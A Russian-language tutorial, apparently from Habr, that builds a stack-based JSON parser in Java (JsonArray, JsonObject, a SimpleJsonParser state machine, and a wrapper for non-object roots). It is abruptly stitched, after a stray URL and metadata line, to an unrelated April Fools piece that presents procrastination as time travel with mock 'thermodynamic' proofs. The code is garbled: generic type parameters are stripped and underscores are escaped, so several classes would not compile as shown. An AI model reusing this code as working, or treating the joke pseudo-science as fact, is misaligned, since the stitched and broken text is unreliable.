Объясним по поводу **getValue()** у типа *JsonNull*. Как Вы уже заметили, значение строки в виде **"null"** типа JsonString совпадает со значением типа JsonNull. Отличить их можно по конкретному типу JsonNull.
Теперь перейдем к структурным типам. Самый простой - это массив, который содержит в виде списка коллекцию элементов *JsonElement*. Для простоты, класс *JsonArray* (для массива), лишь оборачивает работу с ArrayList. Его код приведён далее.
```
/* JsonArray - как List of JsonElements. */
public class JsonArray extends JsonElement> {
private List elements;
private int c; // 'c' stands for count (число элементов).
private String pName; // имя свойства, по которому массив доступен.
public JsonArray(){
this.elements = new ArrayList<>();
this.c = 0;
this.pName = null;
}
public JsonArray(List elements){
this.elements = elements;
this.c = elements.size();
this.pName = null;
}
//Меняем ссылку (НЕ addElements)!
public void setElements(List elements) {
this.elements = elements;
this.c = elements.size();
}
public void add(JsonElement e){
elements.add(e);
c++;
}
public void setPropertyName(String pName) {
this.pName = pName;
}
public String getPropertyName(){
return pName;
}
public ArrayList getElements() {
return elements;
}
//getCount().
public int getC() {
return c;
}
@Override
public List getValue() {
return elements;
}
```
Остаётся теперь последний тип - объекты JSON. Структура объекта содержит пары «имя-значение», где значение может быть либо структурным типом (объект или массив), либо обычным типом, которые уже перечислялись выше. Имена - суть ключи. Тип ключей - строка. Напишем отдельный класс для хранения последовательности таких пар, и их соответствующего вывода на экран (в консоль, текстовый файл и т.д.).
```
/* LinkedHashMap - сохраняет порядок вставки элементов.
Нужная вещь, при последовательном проходе и извлечений пар.
TKey = String. (Тип ключа - строки).
TValue - V. (Пока оставили произвольный).
*/
public class StrLinkedHashMap extends LinkedHashMap {
//Метод, для вывода значений у пар.
@Override
public String toString(){
Set keys = keySet();
//Не рассматриваем параллельные потоки.
//(Непотокобезопасен! Используйте StringBuffer)
StringBuilder sb = new StringBuilder();
sb.append("{\n\t"); // имена и значения объекта заключены в фигурные скобки.
Iterator t = keySet().iterator();
while(t.hasNext()){
String k = t.next();
sb.append(k+" : "+get(k).toString());
if(t.hasNext())
sb.append(",\n\t");
}
sb.append("}");
return sb.toString();
}
}
```
Затем воспользуемся новым типом, для определения типа-объекта JSON. Определим JSON-объект в виде класса *JsonObject*.
```
public class JsonObject extends JsonElement> {
private StrLinkedHashMap table; // Содержимое
public JsonObject(){
this.table = new StrLinkedHashMap<>();
}
public void Put(String k, JsonElement id){
this.table.put(k,id);
}
//inherits from LinkedHashMap.
// Получить значение по ключу.
// В данном случае по имени свойства.
// Метод получает значение из текущей коллекции пар, по ключу k.
// Не работает со вложенными объектами (свойствами).
public JsonElement Get(String k){//get element on the root level.
return table.get(k);
}
//Синоним для метода Get(String k).
public JsonElement getProperty(String pname){
return table.get(pname);
}
//get Element by path using path dot notation.
// Работает со вложенными объектами.
public JsonElement getElement(String path){
ArrayList p = new ArrayList<>();
//Разделить строку на слова по разделителю точка '.'
Pattern regex = Pattern.compile("\\w([^.]\*)");
Matcher m = regex.matcher(path);
while(m.find())
p.add(m.group());
StrLinkedHashMap cnode = table;//ROOT. Корень.
JsonElement n = null;
//Если имя свойства без точек -> извлечь непосредственно.
if(p.size() == 0)
return getProperty(path);
// Двигаемся вглубь, последовательно обращаясь к "A.B.C"
for(String c : p){
n = cnode.get(c);
if(n == null) //Ничего вообще нет (даже null в тексте не указали)
return n; // будет null в коде.
try {//is interior node
//cnode - текущий объект по вложенности.
// Переходим к следующему, если не получилось, то извлекаем у текущего.
cnode = (StrLinkedHashMap) n.getValue(); // isTable.
}catch (ClassCastException e){//that was leaf. (не структурный тип).
return cnode.get(c); //Извлечь значение данного типа у текущего объекта.
}
}
return n;
}
//Значение - коллекция пар "имя" : "значение".
@Override
public StrLinkedHashMap getValue() {
return table;
}
//Нерекурсивно, явно с использованием стэка, выводим построчно всё содержимое,
//включая вложенные объекты и массивы.
@Override
public String toString(){
StringBuilder sb = new StringBuilder();
LinkedStack> S = new LinkedStack<>();//entity
LinkedStack T = new LinkedStack<>();//count of tabs (\t symbol)
int tabs = 0;//current count of tabs
T.push(0);
S.push(new Triple<>("", this, ""));
while(!S.isEmpty()){
tabs = T.top();
T.pop();
\_addTabs(sb,tabs);
String prop = S.top().getV1();
sb.append(prop);
JsonElement e = S.top().getV2();
String c = S.top().getV3();
S.pop();
if(e instanceof JsonObject){
//WRITE BOUND OF OBJECT AND INCREMENT(tabs)
sb.append('{').append('\n');
T.push(tabs);
S.push(new Triple<>("", new JsonLiteral("}"), c));
//ADD pair to the STACK.
JsonObject ob = (JsonObject)e;
Iterator ks = ob.table.keySet().iterator();
//FIRST ITERATION (put to stack entry without comma)
if(ks.hasNext()) {
String p = ks.next();
String v1 = "\"" + p + "\"" + " : ";
S.push(new Triple<>(v1, ob.getProperty(p), ""));
T.push(tabs + 1);
}
//put others with comma
while(ks.hasNext()){
String p = ks.next();
String v1 = "\"" + p + "\"" + " : ";
S.push(new Triple<>(v1, ob.getProperty(p), ","));
T.push(tabs + 1);
}
}
else if(e instanceof JsonArray){
ArrayList arr = ((JsonArray)e).getValue();
int s = arr.size();
sb.append('[').append('\n');
S.push(new Triple<>("", new JsonLiteral("]"), c));
T.push(tabs);
//FIRST ITERATION
JsonElement el = arr.get(s - 1);
s--;
S.push(new Triple<>("", el, ""));
T.push(tabs + 1);
//put others with comma.
while(s != 0){
el = arr.get(s - 1);
s--;
S.push(new Triple<>("", el, ","));
T.push(tabs + 1);
}
}
else if(e instanceof JsonLiteral || e instanceof JsonNull || e instanceof JsonNumber || e instanceof JsonBoolean){
sb.append(e.getValue().toString()).append(c).append('\n');
}
else if(e instanceof JsonString){
sb.append('\"').append(((JsonString) e).getValue()).append('\"').append(c).append('\n');
}
}
return sb.toString();
}
//Вспомогательный метод, добавляет табы.
private void \_addTabs(StringBuilder sb, int tabs){
int k = 0;
while(k < tabs){
sb.append('\t');
k++;
}
}
}
```
Для вывода всего содержимого у объекта, был определён вспомогательный тип - JsonLiteral. Он лишь нужен для уточнения и разделения последовательности содержимого. Его код представлен ниже.
```
public class JsonLiteral extends JsonString {
public JsonLiteral(String v) {
super(v);
}
}
```
Состояния парсера.
------------------
Парсер принимает на вход последовательность текстовых символов. Он будет возвращать содержимое JSON, в виде объекта-JSON. Т.е. это будет экземпляр класса *JsonObject*. Поскольку работать придётся со вложенными структурами, то необходимо будет использовать стэки. Распознанную лексему тоже придётся сохранять на время где-нибудь. И надо будет также пробрасывать свои исключения (ошибки), при обнаружении несоответствия к JSON-у. Конечная модель состояний парсера выглядит следующим образом:
Начнём с простого, напишем первоначальный код класса парсера, *SimpleJsonParser*.
```
public class SimpleJsonParser {
private JsParserState state; //Текущее состояние парсера.
private char[] buf; //Буфер для входного потока.
private int bsize; //Размер буфера
private int bufp; //Текущая позиция в буфере.
private int line; //line, col - позиция в текстовом файле.
private int col;
private JsonElement curVal; //текущий распознанный элемент.
//Создать с буфером размера bsize.
//Начальное состояние - START, позиция в буфере = 0,
//позиция в файле - первая строка, нулевой столбец. (1, 0).
public SimpleJsonParser(int bsize){
this.state = JsParserState.START; //START - начальное состояние.
this.buf = new char[bsize];
this.bsize = bsize;
this.bufp = 0;
this.line = 1;
this.col = 0;
}
//Размер буфера по умолчанию - 255 символов.
public SimpleJsonParser(){
this(255);
}
//...other code.
}
```
а для исключений определим новый тип исключений - *JsonParseException*.
```
//Расширяемся от RuntimeException -
// - не надо проверять при компиляции.
// - не надо обёртывать try/catch (в Runtime упадёт).
public class JsonParseException extends RuntimeException {
public JsonParseException(String message, Throwable throwable){
super(message, throwable);
}
}
```
Итак, входом будет последовательность символов, представленная типом *InputStream*. Определим базовую возможность, ввести имя файла, с которого будем читать. Для этого напишем сразу три метода в классе.
```
public class SimpleJsonParser {
//Поля и конструктора....
//Получить по абсолютному или относительному пути экземпляр File.
public JsonObject parse(String fileName) {
File f = new File(fileName);
return parse(f);
}
public JsonObject parse(File fl){
JsonObject result = null;
try(FileInputStream f = new FileInputStream(fl.getAbsolutePath());
){
result = parseStream(f);
} catch (FileNotFoundException e){
System.out.println(e.getMessage());
flushBuf();
} catch (IOException e){
System.out.println(e.getMessage());
this.state = JsParserState.START; //Исключение - назад к начальному состоянию.
flushBuf();
this.col = 0; this.line = 1;
return null;
}
return result;
}
//Можно вызвать напрямую, передав InputStream,
// или же воспользоваться первым методом, для чтения из файла.
public JsonObject parseStream(InputStream in){
//TODO: обработка входа IN.
return null;
}
//Сбросить содержимое буфера, установив все символы в ноль.
private void flushBuf(){
bufp = 0;
for(int i = 0; i < this.buf.length; i++){
this.buf[i] = '\u0000';
}
}
}
```
Поскольку предполагается работа с текстовым файлом, то *InputStream* не подойдёт, поскольку он работает с бинарниками. Нужен более конкретный тип - *InputStreamReader*, который может работать с текстом.
Для сохранения текущего контекста вложенности, будем сохранять последовательности вложенных массивов, объектов, имён свойств и текущих вершин (структурных типов) в четыре соответствующих стэка: J\_OBJS, J\_ARRS, J\_ROOTS, props. Обработка текста будет идти до тех пор, пока не сформируется полноценный JSON-объект со всем вложенным в него содержимым (обозначим как состояние CLOSEROOT), либо до первой грамматической ошибки (обозначим как состояние ERR). В итоге, конечный результат будет лежать на вершине стэка J\_OBJS, поскольку парсер возвращает *JsonObject*. Итерацию напишем в отдельном методе *iterate*.
```
public JsonObject parseStream(InputStream in){
LinkedStack J\_OBJS = new LinkedStack<>();
LinkedStack J\_ARRS = new LinkedStack<>();
LinkedStack J\_ROOTS = new LinkedStack<>();
LinkedStack props = new LinkedStack<>();
//InputStreamReader от InputStream.
try(InputStreamReader ch = new InputStreamReader(in)){
this.state = JsParserState.START;// before read set parser to the start state.
this.col = 0; this.line = 1;
flushBuf(); //Заранее ставим в начало перед обработкой.
//Основной цикл.
while(this.state != JsParserState.CLOSEROOT && this.state != JsParserState.ERR)
iterate(J\_OBJS, J\_ARRS, J\_ROOTS, props, ch);
if(this.state == JsParserState.ERR)
return null; //Если ошибка, то null.
} catch (IOException e){ //Ошибка чтения - null (см. выше).
System.out.println(e.getMessage());
System.out.println("At (" + line + ":" + col + ")");
flushBuf();
return null;
}
return J\_OBJS.top();
}
```
Теперь распишем метод *iterate* со всеми его частями и вспомогательными методами.
```
private void iterate(LinkedStack J\_OBJS, LinkedStack J\_ARR,
LinkedStack J\_ROOTS, LinkedStack props, InputStreamReader r) throws IOException{
int c = (int)' ';
JsonObject cur\_obj = null;
while(c == ' ' || c == '\n' || c == '\r' || c == '\t') { //skip spaces
c = getch(r);
}
//JSON\_OBJ -> { PROPS } | { }.
if(this.state == JsParserState.AWAIT\_PROPS\_OR\_END\_OF\_OBJ && c == '}' && ungetch('}') == 0)
err('}', "available space for '}' but OutOfMemory!");
else if(this.state == JsParserState.AWAIT\_PROPS\_OR\_END\_OF\_OBJ && c == '}'){ // side effect from previous if [ ungetch('}') call]!
this.state = JsParserState.NEXT\_VALUE; // just goto NEXT\_VALUE where all checks.
}
else if(this.state == JsParserState.AWAIT\_PROPS\_OR\_END\_OF\_OBJ && ungetch((char) c) == 0) // ungetch call produces side effect for next else if branch
err(c, "available space for '"+(char) c +"' but OutOfMemory!");
else if(this.state == JsParserState.AWAIT\_PROPS\_OR\_END\_OF\_OBJ)
this.state = JsParserState.AWAIT\_PROPS;
else if(this.state == JsParserState.START && c != '{') //Json object must starts with '{'
err(c, "{");
else if(this.state == JsParserState.START){ // state = Start, c == '{'
J\_OBJS.push(new JsonObject());
J\_ROOTS.push(J\_OBJS.top());
this.state = JsParserState.AWAIT\_PROPS\_OR\_END\_OF\_OBJ;
}
// MEMBER -> >" propName " : PROPVALUE | STRINGVAL -> >" symbols ".
else if((this.state == JsParserState.AWAIT\_PROPS || this.state == JsParserState.AWAIT\_STRVALUE) && c != '\"')
err(c, "\"");
else if(this.state == JsParserState.AWAIT\_PROPS){ // state == AWAIT\_PROPS, c == '"' [ trans\_from(Start, '{') ]
c = getFilech(r); //read character directly from file.
int l = 0;
while(c != '\"' && bufp < bsize) { //read all content until '"' char (end of the string) while buffer available.
if(c == '\\')
c = getEscaped(r);
l++;
buf[bufp++] = (char)c;
c = getFilech(r);
}
if(bufp >= bsize && c != '\"') { //too long string (buffer exceeded)
err(c, "available space for \'"+(char)c +"'\' or EOL (\") symbol");
return;
}
props.push(new String(buf, 0, l));
flushBuf();
this.state = JsParserState.READ\_PROPNAME;
}
else if(this.state == JsParserState.AWAIT\_STRVALUE){
c = getFilech(r); //read character.
int l = 0;
while(c != '\"' && bufp < bsize) {
if(c == '\\')
c = getEscaped(r);
l++;
buf[bufp++] = (char)c;
c = getFilech(r);
}
if(bufp >= bsize && c != '\"') {
err(c, "available space for \'"+(char)c +"'\' or EOL (\") symbol");
return;
}
this.state = JsParserState.READ\_STRVALUE;
this.curVal = new JsonString(new String(buf, 0, l));
flushBuf();
}
else if(this.state == JsParserState.READ\_PROPNAME && c != ':')
err(c,":");
else if(this.state == JsParserState.READ\_PROPNAME){ // c == ':' name value separator was read.
this.state = JsParserState.COLON;
}
else if(this.state == JsParserState.EMPTY\_OR\_NOT\_ARR && c == ']' && ungetch(']') == 0){
err(']', "available space for ']' but OutOfMemory!");
}
else if(this.state == JsParserState.EMPTY\_OR\_NOT\_ARR && c == ']'){ // side effect from previous else if [ungetch() call!]
this.state = JsParserState.NEXT\_VALUE;
}
else if(this.state == JsParserState.EMPTY\_OR\_NOT\_ARR && ungetch((char) c) == 0){ // c != ']'
err(c, "available space for '"+(char)c+"' but OutOfMemory!");
}
else if(this.state == JsParserState.EMPTY\_OR\_NOT\_ARR){
this.state = JsParserState.COLON;
}
//FIRST SYMBOL OF VALUE (AFTER SEPARATOR)
else if(this.state == JsParserState.COLON){
//System.out.println("Property: "+props.top()+ " symbol \'"+(char)c+"\'");
switch (c){
case '\"':{
this.state = JsParserState.AWAIT\_STRVALUE;
if( ungetch((char) c) == 0)
err(c, "available space but OutOfMemory!");
break;
}
case '{':{
this.state = JsParserState.START;
if(ungetch((char) c) == 0)
err(c, "available space but OutOfMemory!");
break;
}
case '[': {
J\_ARR.push(new JsonArray());
J\_ROOTS.push(J\_ARR.top());
this.state = JsParserState.EMPTY\_OR\_NOT\_ARR;
break;
}
default: {
int l = 0;
//CHECK that rvalue is not consists of token symbols ( ']' '}' ',' ':' '[' '{', EOF)
while(bufp < bsize && (c != ' ' && c != '\n' && c != '\r' && c != '\t')
&& (c != '}' && c != ']' && c != ',' && c != ':' && c != '{' && c != '[' && c != 65535 && c != -1)
)
{ //read all content til first space symbol ' '
buf[bufp++] = (char)c;
c = getFilech(r);
l++;
}
if(bufp >= bsize && (c != ' ' && c != '\n' && c != '\r' && c != '\t')
&& (c != '}' && c != ']' && c != ',' && c != ':' && c != '{' && c != '[' && c != 65535 && c != -1)
)
{
err(c, "end of the token (space symbol or LF or CR or tab) or another token ('}' ']' etc.) but \"..."+(char)c+"\"");
return;
}
String v = new String(buf, 0, l);
flushBuf();
if(v.equals("null"))
this.curVal = new JsonNull();
else if(v.equals("false"))
this.curVal = new JsonBoolean('f');
else if(v.equals("true"))
this.curVal = new JsonBoolean('t');
else {
double val = ProcessNumber.parseNumber(v);
if(Double.isNaN(val)) // NaN (Not a Number) tokens are invalid.
err(c, "a number token but found NaN \""+v+"\"");
else if(Math.floor(val) == val)
this.curVal = new JsonNumber((long) val);
else
this.curVal = new JsonRealNumber(val);
}
this.state = JsParserState.READ\_STRVALUE;
if(ungetch((char) c) == 0)
err(c, "available space but OutOfMemory!");
break;
} // END of default.
} //END of switch
}// END COLON state.
//BEGIN READ\_STRVALUE state. (READ\_NON\_EMPTY\_VALUE)
//Проверить контекст перед завершением строки.
else if(this.state == JsParserState.READ\_STRVALUE){
cur\_obj = J\_OBJS.top();
JsonArray cur\_arr = null;
if(c == ',' && J\_ROOTS.top() instanceof JsonArray){
cur\_arr = J\_ARR.top();
cur\_arr.getElements().add(this.curVal);// add new item to array
this.state = JsParserState.COLON; //awaiting new value
this.curVal = null;
}
else if(c == ',' && J\_ROOTS.top() instanceof JsonObject){
cur\_obj.getValue().put(props.top(), this.curVal);//add new pair prop : value to the object.
props.pop();
this.state = JsParserState.AWAIT\_PROPS;//awaiting new property
this.curVal = null;
}
else if(c == ']' && J\_ROOTS.top() instanceof JsonArray){ //after processed value follows ']'
cur\_arr = J\_ARR.top();
cur\_arr.getElements().add(this.curVal);// add processed value to processed array.
J\_ARR.pop(); // remove processed array.
J\_ROOTS.pop();// and update root.
this.curVal = null;
if(J\_ROOTS.top() instanceof JsonArray){
J\_ARR.top().getElements().add(cur\_arr); //add array as item
}
else if(J\_ROOTS.top() instanceof JsonObject){
J\_OBJS.top().getValue().put(props.top(), cur\_arr);// add array as property.
props.pop();
}
this.state = JsParserState.NEXT\_VALUE;
}
else if(c == '}'){ //after processed value follows '}'
cur\_obj.getValue().put(props.top(), this.curVal);
props.pop();
this.curVal = null;
if(J\_OBJS.size() == 1) // root object finished.
this.state = JsParserState.CLOSEROOT; // set final state to exit from cycle.
else{
J\_OBJS.pop();//remove processed object.
J\_ROOTS.pop();//and update root.
if(J\_ROOTS.top() instanceof JsonArray){
J\_ARR.top().getElements().add(cur\_obj);
}
else if(J\_ROOTS.top() instanceof JsonObject){
J\_OBJS.top().getValue().put(props.top(), cur\_obj);
props.pop();
}
this.state = JsParserState.NEXT\_VALUE;
}
}
else
err(c, "one of ',' '}' ']' ");
} //END READ\_STRVALUE
//BEGIN NEXT\_VALUE state
else if(this.state == JsParserState.NEXT\_VALUE){
cur\_obj = J\_OBJS.top();
if(c == ',' && J\_ROOTS.top() instanceof JsonArray){
this.state = JsParserState.COLON;
}
else if(c == ',' && J\_ROOTS.top() instanceof JsonObject){
this.state = JsParserState.AWAIT\_PROPS;
}
else if(c == ']' && J\_ROOTS.top() instanceof JsonArray){
JsonArray cur\_arr = J\_ARR.top();
J\_ARR.pop(); // remove processed array.
J\_ROOTS.pop();// and update root.
if(J\_ROOTS.top() instanceof JsonArray){
J\_ARR.top().getElements().add(cur\_arr); //add array as item
}
else if(J\_ROOTS.top() instanceof JsonObject){
J\_OBJS.top().getValue().put(props.top(), cur\_arr);// add array as property.
props.pop();
}
this.state = JsParserState.NEXT\_VALUE;
}
else if(c == '}'){
cur\_obj = J\_OBJS.top();
if(J\_OBJS.size() == 1) // root object finished.
this.state = JsParserState.CLOSEROOT; // set final state to exit from cycle.
else{
J\_OBJS.pop();//remove processed object.
J\_ROOTS.pop();//and update root.
if(J\_ROOTS.top() instanceof JsonArray){
J\_ARR.top().getElements().add(cur\_obj);
}
else if(J\_ROOTS.top() instanceof JsonObject){
J\_OBJS.top().getValue().put(props.top(), cur\_obj);
props.pop();
}
this.state = JsParserState.NEXT\_VALUE;
}
}
else
err(c, "one of ',' '}' ']' ");
} // END NEXT\_VALUE
}
//Сигнал об ошибке.
private void err(int act, String msg){
state = JsParserState.ERR;
System.out.println("Founded illegal symbol \'" + (char)act + "\'" +
" at ("+line+":"+col+"). Expected: "+msg);
}
private int ungetch(char c){
if(bufp >= bsize){
System.out.println("Error ("+line+":"+col+"). ungetch(): too many characters.");
return 0;
}
else{
buf[bufp++] = c;
return 1;
}
}
private int getch(InputStreamReader r) throws IOException {
if(bufp > 0)
return buf[--bufp];
else{
col++;
int c = r.read();
if(c == '\n'){
line++; col = 0;
}
else
col += 1;
return c;
}
}
//Проверить управляющую последовательность.
private int getEscaped(InputStreamReader r) throws IOException {
col++;
char x = (char)r.read();
switch (x){
case 't':{
col++;
return '\t';
}
case 'r':{
col++;
return '\r';
}
case 'n':{
col++;
return '\n';
}
case 'f':{
col++;
return '\f';
}
case 'b':{
col++;
return '\b';
}
case '\'':{
col++;
return '\'';
}
case '\"':{
col++;
return '\"';
}
case '\\':{
col++;
return '\\';
}
case 'u':{
col++;
int i = 0;
char[] hcode = new char[4];
while(i < 4 && ( ((x = (char) r.read()) >= '0' && x <='9') || (x >= 'A' && x <= 'F') || (x >= 'a' && x <= 'f') )){
hcode[i] = x;
i++;
}
if(i < 4) {
err(x, "Unicode token \\uxxxx where x one of [0-9] or [A-Fa-f]");
return 0;
}
int code = (int)ProcessNumber.parse(new String(hcode),null,'N',16,1, 1); //just parse positive hex number to decimal.
return code;
}
default:{
ungetch(x);
return '\\';
}
}
}
//Прочитать символ напрямую
private int getFilech(InputStreamReader r) throws IOException {
int c = r.read();
if(c == '\n'){ //увелчичиваем счётчик строк.
line += 1;
col = 0;
}
else{
col += 1;
}
return c;
}
```
Что касается вспомогательных методов. Методы *getch* и *ungetch(c)* извлекают и сохраняют символ с в буфер*.* Метод *getFilech* читает символ напрямую с файла. А метод *getEscaped* проверяет, была ли прочитана управляющая последовательность символов (\n, \r, \t) и возвращает соответствующий ей символ. Метод *err* используется для сигнала парсеру об ошибке. Обработкой чисел занят ProcessNumber, описанный [здесь](https://habr.com/ru/post/575456/).
В *iterate* заложена основная работа парсера. Прочитав символ (с буфера или с файла если буфер пуст), начинаем с состояния START. Убедившись, что мы прочитали открывающуюся фигурную скобку, сохраняем новый объект в стэке объектов и ждём либо начало нового имени свойства (т.к. имена строки, то ждем первые двойные кавычки), либо закрытую фигурную скобку, которая закрывает объект. Переходим в состояние AWAIT\_PROPS\_OR\_END\_OF\_OBJ. Если это скобка, то переходим в NEXT\_VALUE, где проверяем контекст вложенности. Иначе переходим в AWAIT\_PROPS, читая имя свойства, до тех пор пока не встретим двойные кавычки. Прочитанные символы запоминаем в буфер. Если превысили размер - ошибка - завершаем работу. Прочитав двойные кавычки, извлекаем строку из буфера (очищая его), запоминаем новое имя свойства и переходим в READ\_PROPNAME. В состоянии READ\_PROPNAME проверяем, что имя и значение отделяется двоеточием ":", если нет то ошибка. Проверив, идём в COLON, где определяем, чем является значение - массивом, объектом, строкой, числом, булевым литералом или **null**. Если это строка, то идём в AWAIT\_STRVALUE и читаем строку, аналогично как в AWAIT\_PROPS. Прочитав строку, запоминаем её и переходим в READ\_STRVALUE, где проверяем контекст вложенности. Аналогично, распарсив число, булев-литерал, **null**, переходим туда же (в READ\_STRVALUE). В READ\_STRVALUE при проверке контекста, проверяем следующий символ. Если это запятая, то проверяем стэк текущих вершин J\_ROOTS, и добавляем новый элемент либо в массив из J\_ARRS, либо в объект из J\_OBJS (на вершине). Если это скобка, которая закрывает массив или объект, то извлекаем из соответствующих стэков запись, проверяем J\_ROOTS, и добавляем элемент к соответствующему родителю. Как только мы прочитаем последнюю фигурную скобку ("}") переходим в состояние CLOSEROOT, в результате следующей проверки перед итерацией цикл завершается. При запятой, в зависимости от контекста, мы идём либо в AWAIT\_PROPS (объект), либо в COLON (массив). либо в NEXT\_VALUE (при закрытии вложенного объекта/массива).
Итоги.
------
Парсер использует явно 4 стэка, вместо рекурсивных вызовов. Кроме этого, он использует буфер для сохранения строк, а также ссылку на текущий распознанный элемент. Парсер игнорирует пробельные символы. Парсер может обрабатывать некоторые управляющие последовательности символов.
Разумеется, API веб-сервисов возвращают данные в виде массивов. Поскольку данный парсер ожидает в качестве корневого элемента объект, а не массив, то для обхода данной проблемы, необходимо либо обернуть массив в объект, либо добавить новые состояния в парсер.
Либо, попробовать имитировать работу парсера с объектом. Т.е. значение, которое не является объектом рассматривать как свойство корневого объекта (которого нет в тексте). После обработки, вообразив, что при достижении конца ввода, мы обработали объект, вернуть объект и извлечь исходное значение по имени свойства. Имя свойства можно взять любое, например **"value"**. Перепишем методы *parse*, *parseStream*.
```
public class SimpleJsonParser { //...code
public JsonElement parseJsonText(String filename){
File f = new File(filename);
return parseJsonText(f);
}
public JsonElement parseJsonText(File fl){
JsonElement result = null;
try(FileInputStream f = new FileInputStream(fl.getAbsolutePath());
){
result = parseJsonTextStream(f);
} catch (FileNotFoundException e){
System.out.println(e.getMessage());
flushBuf();
} catch (IOException e){
System.out.println(e.getMessage());
this.state = JsParserState.START;
flushBuf();
this.col = 0; this.line = 1;
return null;
}
if(result == null)
return null;
return result;
}
public JsonElement parseJsonTextStream(InputStream in){
LinkedStack J\_OBJS = new LinkedStack<>();
LinkedStack J\_ARRS = new LinkedStack<>();
LinkedStack J\_ROOTS = new LinkedStack<>();
LinkedStack props = new LinkedStack<>();
try(InputStreamReader ch = new InputStreamReader(in)){
this.state = JsParserState.COLON;// as we already read "{ 'value' : >>input }"
JsonObject vobj = new JsonObject(); //Создаём виртуальный объект, в качестве обёртки.
J\_OBJS.push(vobj);
J\_ROOTS.push(vobj);
//put propertyName 'value'
// Значение запоминаем в виртуальном объекте (как значение свойства 'value').
//Т.е. массив, строка, примитив оборачивается в JSON-объект
//Исходное значение затем извлекается через getProperty("value")
//и возвращается на выходе.
props.push("value");
this.col = 0; this.line = 1;
flushBuf();
while(this.state != JsParserState.CLOSEROOT && this.state != JsParserState.ERR)
iterate(J\_OBJS, J\_ARRS, J\_ROOTS, props, ch);
if(this.state == JsParserState.ERR) {
return null;
}
} catch (IOException e){
System.out.println(e.getMessage());
System.out.println("At (" + line + ":" + col + ")");
flushBuf();
return null;
}
JsonObject root = J\_OBJS.top();
if(root == null)
return null;
return root.getProperty("value");
}
//other code...
}
```
Обратите внимание, что теперь мы начинаем не со START, а с состояния COLON. Поскольку мы уже прочитали имя свойства объекта с символом разделителем (двоеточием ":"), мы ожидаем получить значение. Кроме того, мы, разумеется, кладём новый корень, объект и имя свойства в соответствующие стэки. В конце мы извлекаем из объекта исходное значение.
Теперь нам необходимо изменить работу метода *iterate*. Нам необходимо добавить две проверки в два состояния, где проверяется контекст вложенности. Это состояния READ\_STRVALUE и NEXT\_VALUE. Ниже дан код, который был добавлен в соответствующие места:
```
public class SimpleJsonParser {
public void iterate(/*...*/){ //не добавляем новых параметров.
//check buffer and read symbol. (проверяем буфер, читаем символ)
//checks for current state (if-else branches) (проверки состояний)
//...
else if(this.state == JsParserState.READ_STRVALUE){
cur_obj = J_OBJS.top();
JsonArray cur_arr = null;
// --------------- NEW CODE -------------------------------
if(J_ROOTS.size() == 1 && (c == 65535 || c == -1)){
this.state = JsParserState.CLOSEROOT; //as if we read '}' (value is read).
}
else if(J_ROOTS.size() == 1)
err(c, "end of the input! (EOF)");
// --------------- END -------------------------------
//else if ...
//old code...
}
else if(this.state == JsParserState.NEXT_VALUE){
cur_obj = J_OBJS.top();
// --------------- NEW CODE -------------------------------
if(J_ROOTS.size() == 1 && (c == -1 || c == 65535)){
this.state = JsParserState.CLOSEROOT; //as if we read '}' (value is read).
}
else if(J_ROOTS.size() == 1)
err(c, "end of the input! (EOF)");
// --------------- END -------------------------------
//else if ...
//old code...
}
}
}
```
Эти две проверки гарантируют, что только одно значение может быть корнем. Увеличить вложенность сразу можно лишь на первых символах. Если вложенность равна единице, т.е. мы в пределах корня, которого мы создали для обёртки значения, а на входе ещё есть что обрабатывать, т.е. ещё не прочитали до конца все символы (пробельные символы сразу пропускаются), то значит идёт попытка записать в корень новое значение, но мы его уже прочитали - следовательно, по правилу идёт ошибка. | https://habr.com/ru/post/659287/ | null | ru | null |
# Прокрастинация как инструмент перемещения во времени
Все люди делятся на нормальных и прокрастинаторов, и последних абсолютное большинство. Мы разобрались и выявили два типа прокрастинации: неустранимую, которая приводит к неразрешимым жизненным проблемам и болезненным психологическим эффектам, и устранимую, при которой человек даже после наступления критического момента времени всё равно выполняет необходимую работу в срок.
Под катом мы приводим случаи перемещения прокрастинаторов типа PRO как в прошлое, так и в будущее, рассчитываем скорость подобных перемещений, а также влияние прокрастинации на жизнь до и после дедлайнов.
Статью мы сопроводили строгими математическими расчетами, а также данными эксперимента, который был проведён на шестерых добровольцах. С этой работой мы выступали на крупнейшей [Антинаучной конференции](https://vk.com/dfmipt_antinauka), которая в этом году пройдет 4 мая. Так что можете нам доверять (ну или нет, ведь сегодня 1 апреля).
Типичная ситуация студенческих лет: к вам в комнату приходит одногруппник и спрашивает, сколько билетов вы подготовили к экзамену, а вы ловите себя на мысли, что надо бы доделать первое задание. «Перемещение во времени!», — скажете вы. «Прокрастинация!» — ответим мы.
Что такое прокрастинация? По определению авторитетного источника — это склонность к постоянному откладыванию на потом неприятных дел, то есть откладыванию на потом подавляющего большинства дел в нашей жизни.
*Рисунок 1. Определение прокрастинации из тех самых авторитетных источников*
Очень сложные научные выкладки
------------------------------
Дальше приведем очень сложные рассуждения, чтобы подтвердить возможную связь перемещений во времени с прокрастинацией.
Начнем с того, что рассмотрим график выполнения работы нормальным человеком и прокрастинатором.
Рисунок 2. Выполненная работа от времени — обычный человек, неустранимая прокрастинация и PRO
Пусть у нас есть работа *А0*, которую нужно выполнить за время *Тконечное*. Обычный человек выполняет работу равномерно. А что же происходит с прокрастинаторами? Подобно пределам, прокрастинация бывает устранимая и неустранимая. Люди, страдающие неустранимой прокрастинацией, всегда выполняют работу очень медленно, что на рисунке изображено пунктиром. Существ, страдающих неустранимой прокрастинацией, устраняет эволюция.
Намного интереснее устранимая прокрастинация, то есть те люди, которые после определенного уровня Tкрит умудряются сделать всю работу в срок. Такие прокрастинаторы, на наш взгляд, заслуживают уважительного определения “PRO”. По опыту самые бесстрашные PRO умудряются выполнить работу в срок, даже когда *Ткрит* стремится к *Тконечное*.
> Мы примем за аксиому предположение о том, что PRO всегда выполняют работу в срок, независимо от пути графика.
Поскольку время — это последовательность событий, то мы логично приняли за эталонные события части выполненной работы. Для нормального человека, как видно из рисунка 1, время течет равномерно. PRO же одинаковые части работы выполняет за существенно разное время.
В его системе отчета *возникает неоднородность времени, а это намекает на возможность перемещения во времени*.
Термодинамика прокрастинации
----------------------------
Теперь докажем строго. Для этого рассмотрим изотермически существующих обычного человека и PRO. В силу постоянства внутренней энергии обычного человека, работа совершенная им равна подведенной к нему энергии.
`Aнорм = δQнорм`
Теперь рассмотрим PRO, он больше ест и спит:
`δQpro > δQнорм,`
но меньше работает:
`Apro < Aнорм`
